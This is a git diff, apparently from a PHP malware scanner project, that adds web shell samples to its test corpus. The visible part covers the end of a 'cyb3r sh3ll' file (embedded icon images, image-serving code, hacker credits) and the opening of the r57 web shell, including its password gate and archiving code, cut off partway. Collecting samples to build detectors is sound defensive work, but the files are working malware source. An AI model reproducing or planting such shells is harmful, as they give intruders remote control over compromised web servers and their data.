+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
+
+"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
+
+"AQEAOw==",
+
+"sql_button_empty"=>
+
+"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
+
+"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
+
+"sql_button_insert"=>
+
+"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
+
+"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
+
+"up"=>
+
+"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+
+"write"=>
+
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+
+"ext_asp"=>
+
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+
+"ext_mp3"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+
+"ext_avi"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
+
+"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
+
+"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
+
+"ext_cgi"=>
+
+"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
+
+"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
+
+"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
+
+"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
+
+"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
+
+"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
+
+"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
+
+"RYtMAgEAOw==",
+
+"ext_cmd"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
+
+"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
+
+"dmrYAMn1onq/YKpjvEgAADs=",
+
+"ext_cpp"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+
+"Eq7YrLDE7a4SADs=",
+
+"ext_ini"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+
+"ext_diz"=>
+
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
+
+"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
+
+"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
+
+"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
+
+"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
+
+"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
+
+"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
+
+"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
+
+"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
+
+"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
+
+"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
+
+"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
+
+"Ow==",
+
+"ext_doc"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
+
+"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
+
+"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
+
+"ext_exe"=>
+
+"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
+
+"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+
+"xhIAOw==",
+
+"ext_h"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+
+"Wq/NknbbSgAAOw==",
+
+"ext_hpp"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+
+"UqUagnbLdZa+YFcCADs=",
+
+"ext_htaccess"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+
+"AAA7",
+
+"ext_html"=>
+
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+
+"ADs=",
+
+"ext_jpg"=>
+
+"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
+
+"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
+
+"FxEAOw==",
+
+"ext_js"=>
+
+"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
+
+"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
+
+"a00AjYYBbc/o9HjNniUAADs=",
+
+"ext_lnk"=>
+
+"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
+
+"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
+
+"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
+
+"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
+
+"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
+
+"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
+
+"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
+
+"ADs=",
+
+"ext_log"=>
+
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
+
+"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
+
+"ext_php"=>
+
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
+
+"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
+
+"ext_pl"=>
+
+"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
+
+"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
+
+"ext_swf"=>
+
+"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
+
+"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+
+"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
+
+"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
+
+"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
+
+"ext_tar"=>
+
+"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
+
+"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
+
+"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
+
+"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
+
+"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
+
+"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
+
+"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
+
+"u4tLAgEAOw==",
+
+"ext_txt"=>
+
+"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
+
+"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
+
+"UpPWG3Ig6Hq/XmRjuZwkAAA7",
+
+"ext_wri"=>
+
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+
+"ext_xml"=>
+
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+
+"IQA7"
+
+ );
+
+ //For simple size- and speed-optimization.
+
+ $imgequals = array(
+
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+
+ "ext_html"=>array("ext_html","ext_htm"),
+
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+
+ "ext_doc"=>array("ext_doc","ext_dot"),
+
+ "ext_js"=>array("ext_js","ext_vbs"),
+
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+
+ "ext_swf"=>array("ext_swf","ext_fla"),
+
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+
+ );
+
+ if (!$getall)
+
+ {
+
+ header("Content-type: image/gif");
+
+ header("Cache-control: public");
+
+ header("Cache-control: max-age=".(60*60*24*7));
+
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+
+ if (empty($images[$img])) {$img = "small_unk";}
+
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+
+ echo base64_decode($images[$img]);
+
+ }
+
+ else
+
+ {
+
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+
+ natsort($images);
+
+ $k = array_keys($images);
+
+ echo "";
+
+ foreach ($k as $u) {echo $u.": ";}
+
+ echo " ";
+
+ }
+
+ exit;
+
+}
+
+?>
+
+
+
+(C) Copyright cyb3r 9l4d!470r [All rights reserved] Greetz to : r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.--[ cyb3r sh3ll v. Coded by cyb3r 9l4d!470r (cyber gladiator) | h4cK2b0yZz.. | Generation time: ]--
+
+
+
+
\ No newline at end of file
diff --git a/php-malware-finder/samples/classic/r57.php b/php-malware-finder/samples/classic/r57.php
new file mode 100644
index 0000000..4e91809
--- /dev/null
+++ b/php-malware-finder/samples/classic/r57.php
@@ -0,0 +1,2302 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_SERVER as $k=>$v)
+ {
+ $_SERVER[$k] = stripslashes($v);
+ }
+ }
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="r57shell"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit("r57shell : Access Denied ");
+ }
+}
+$head = '
+
+
+r57shell
+
+
+
+';
+class zipfile
+{
+ var $datasec = array();
+ var $ctrl_dir = array();
+ var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
+ var $old_offset = 0;
+ function unix2DosTime($unixtime = 0) {
+ $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
+ if ($timearray['year'] < 1980) {
+ $timearray['year'] = 1980;
+ $timearray['mon'] = 1;
+ $timearray['mday'] = 1;
+ $timearray['hours'] = 0;
+ $timearray['minutes'] = 0;
+ $timearray['seconds'] = 0;
+ }
+ return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
+ ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
+ }
+ function addFile($data, $name, $time = 0)
+ {
+ $name = str_replace('\\', '/', $name);
+ $dtime = dechex($this->unix2DosTime($time));
+ $hexdtime = '\x' . $dtime[6] . $dtime[7]
+ . '\x' . $dtime[4] . $dtime[5]
+ . '\x' . $dtime[2] . $dtime[3]
+ . '\x' . $dtime[0] . $dtime[1];
+ eval('$hexdtime = "' . $hexdtime . '";');
+ $fr = "\x50\x4b\x03\x04";
+ $fr .= "\x14\x00";
+ $fr .= "\x00\x00";
+ $fr .= "\x08\x00";
+ $fr .= $hexdtime;
+ $unc_len = strlen($data);
+ $crc = crc32($data);
+ $zdata = gzcompress($data);
+ $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
+ $c_len = strlen($zdata);
+ $fr .= pack('V', $crc);
+ $fr .= pack('V', $c_len);
+ $fr .= pack('V', $unc_len);
+ $fr .= pack('v', strlen($name));
+ $fr .= pack('v', 0);
+ $fr .= $name;
+ $fr .= $zdata;
+ $this -> datasec[] = $fr;
+ $cdrec = "\x50\x4b\x01\x02";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x14\x00";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x08\x00";
+ $cdrec .= $hexdtime;
+ $cdrec .= pack('V', $crc);
+ $cdrec .= pack('V', $c_len);
+ $cdrec .= pack('V', $unc_len);
+ $cdrec .= pack('v', strlen($name) );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('V', 32 );
+ $cdrec .= pack('V', $this -> old_offset );
+ $this -> old_offset += strlen($fr);
+ $cdrec .= $name;
+ $this -> ctrl_dir[] = $cdrec;
+ }
+ function file()
+ {
+ $data = implode('', $this -> datasec);
+ $ctrldir = implode('', $this -> ctrl_dir);
+ return
+ $data .
+ $ctrldir .
+ $this -> eof_ctrl_dir .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('V', strlen($ctrldir)) .
+ pack('V', strlen($data)) .
+ "\x00\x00";
+ }
+}
+function compress(&$filename,&$filedump,$compress)
+ {
+ global $content_encoding;
+ global $mime_type;
